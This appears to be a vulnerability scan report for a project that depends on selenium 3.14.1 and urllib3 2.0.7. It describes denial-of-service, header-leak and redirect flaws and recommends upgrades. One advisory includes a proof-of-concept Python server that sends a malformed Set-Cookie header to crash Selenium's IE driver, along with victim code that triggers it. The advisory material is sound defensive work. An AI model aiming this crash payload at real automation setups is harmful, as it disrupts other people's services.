Find, fix and prevent vulnerabilities in your code.
high severity
- Vulnerable module: urllib3
- Introduced through: selenium@3.14.1
Detailed paths
-
Introduced through: AAYBS/GIC@AAYBS/GIC#cd6f4b5ead91fe8912f76ef8664a137cf284f780 › selenium@3.14.1 › urllib3@2.0.7Remediation: Upgrade to selenium@3.141.0.
Overview
urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling during the decompression of compressed response data. An attacker can cause excessive CPU and memory consumption by sending responses with a large number of chained compression steps.
Workaround
This vulnerability can be avoided by setting preload_content=False and ensuring that resp.headers["content-encoding"] are limited to a safe quantity before reading.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade urllib3 to version 2.6.0 or higher.
References
high severity
- Vulnerable module: urllib3
- Introduced through: selenium@3.14.1
Detailed paths
-
Introduced through: AAYBS/GIC@AAYBS/GIC#cd6f4b5ead91fe8912f76ef8664a137cf284f780 › selenium@3.14.1 › urllib3@2.0.7Remediation: Upgrade to selenium@3.141.0.
Overview
urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.
Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) in the Streaming API. The ContentDecoder class can be forced to allocate disproportionate resources when processing a single chunk with very high compression, such as via the stream(), read(amt=256), read1(amt=256), read_chunked(amt=256), and readinto(b) functions.
Note: It is recommended to patch Brotli dependencies (upgrade to at least 1.2.0) if they are installed outside of urllib3 as well, to avoid other instances of the same vulnerability.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade urllib3 to version 2.6.0 or higher.
References
high severity
new
- Vulnerable module: urllib3
- Introduced through: selenium@3.14.1
Detailed paths
-
Introduced through: AAYBS/GIC@AAYBS/GIC#cd6f4b5ead91fe8912f76ef8664a137cf284f780 › selenium@3.14.1 › urllib3@2.0.7Remediation: Upgrade to selenium@3.141.0.
Overview
urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.
Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) via the streaming API when handling HTTP redirects. An attacker can cause excessive resource consumption by serving a specially crafted compressed response that triggers decompression of large amounts of data before any read limits are enforced.
Note: This is only exploitable if content is streamed from untrusted sources with redirects enabled.
Workaround
This vulnerability can be mitigated by disabling redirects by setting redirect=False for requests to untrusted sources.
Remediation
Upgrade urllib3 to version 2.6.3 or higher.
References
high severity
- Vulnerable module: selenium
- Introduced through: selenium@3.14.1
Detailed paths
-
Introduced through: AAYBS/GIC@AAYBS/GIC#cd6f4b5ead91fe8912f76ef8664a137cf284f780 › selenium@3.14.1Remediation: Upgrade to selenium@4.15.1.
Overview
selenium is a Python language bindings for Selenium WebDriver
Affected versions of this package are vulnerable to NULL Pointer Dereference due to an insufficient check on CookieWndProc function. An attacker can cause the application to crash by sending specially crafted data that triggers this condition.
PoC
Attacker Server Code
from http.server import BaseHTTPRequestHandler, HTTPServer
from datetime import datetime, timedelta
class CustomHTTPRequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
# Send response status code
self.send_response(200)
# Send headers
self.send_header('Content-type', 'text/html')
# Set the cookie expiration to one day in the future
expiration_date = (datetime.utcnow() + timedelta(days=1)).strftime('%a, %d %b %Y %H:%M:%S GMT')
well_formed_cookie = f"cookie_name=cookie_value; Domain=127.0.0.1; Path=/; HttpOnly; Expires={expiration_date};"
self.send_header('Set-Cookie', well_formed_cookie)
malicious_cookie = f"cookie_name2" #crash
self.send_header('Set-Cookie', malicious_cookie)
self.end_headers()
# Send message back to client
message = "Hello world!"
self.wfile.write(bytes(message, "utf8"))
return
def run():
print('Starting server...')
server_address = ('127.0.0.1', 8090)
httpd = HTTPServer(server_address, CustomHTTPRequestHandler)
print('Server is running...')
httpd.serve_forever()
run()
Example Victim Code
from selenium import webdriver
import logging
import time
handler = logging.FileHandler("sel.log")
logger = logging.getLogger('selenium')
logging.basicConfig(level=logging.DEBUG)
logger.setLevel(logging.DEBUG)
logger.addHandler(handler)
options = webdriver.IeOptions()
options.ignore_zoom_level = True
options.ignore_protected_mode_settings = True
options.attach_to_edge_chrome = True
options.initial_browser_url = 'https://selenium.dev'
service = webdriver.IeService(log_file="ie.log", log_level='DEBUG')
driver = webdriver.Ie(options=options,service=service)
driver.set_page_load_timeout(20)
print("Getting the page: ")
try:
driver.get("http://127.0.0.1:8090/")
except Exception as e:
print(e)
print("Got the page!")
print("Get Cookies: ")
cookies = driver.get_cookies()
print(cookies)
time.sleep(3)
driver.quit()
Remediation
Upgrade selenium to version 4.15.1 or higher.
References
medium severity
- Vulnerable module: urllib3
- Introduced through: selenium@3.14.1
Detailed paths
-
Introduced through: AAYBS/GIC@AAYBS/GIC#cd6f4b5ead91fe8912f76ef8664a137cf284f780 › selenium@3.14.1 › urllib3@2.0.7Remediation: Upgrade to selenium@3.141.0.
Overview
urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.
Affected versions of this package are vulnerable to Improper Removal of Sensitive Information Before Storage or Transfer due to the improper handling of the Proxy-Authorization header during cross-origin redirects when ProxyManager is not in use. When the conditions below are met, including non-recommended configurations, the contents of this header can be sent in an automatic HTTP redirect.
Notes:
To be vulnerable, the application must be doing all of the following:
Setting the
Proxy-Authorizationheader without using urllib3's built-in proxy support.Not disabling HTTP redirects (e.g. with
redirects=False)Either not using an HTTPS origin server, or having a proxy or target origin that redirects to a malicious origin.
Workarounds
Using the
Proxy-Authorizationheader with urllib3'sProxyManager.Disabling HTTP redirects using
redirects=Falsewhen sending requests.Not using the
Proxy-Authorizationheader.
Remediation
Upgrade urllib3 to version 1.26.19, 2.2.2 or higher.
References
medium severity
- Vulnerable module: urllib3
- Introduced through: selenium@3.14.1
Detailed paths
-
Introduced through: AAYBS/GIC@AAYBS/GIC#cd6f4b5ead91fe8912f76ef8664a137cf284f780 › selenium@3.14.1 › urllib3@2.0.7Remediation: Upgrade to selenium@3.141.0.
Overview
urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.
Affected versions of this package are vulnerable to Open Redirect due to the retries parameter being ignored during PoolManager instantiation. An attacker can access unintended resources or endpoints by leveraging automatic redirects when the application expects redirects to be disabled at the connection pool level.
Note:
requests and botocore users are not affected.
Workaround
This can be mitigated by disabling redirects at the request() level instead of the PoolManager() level.
Remediation
Upgrade urllib3 to version 2.5.0 or higher.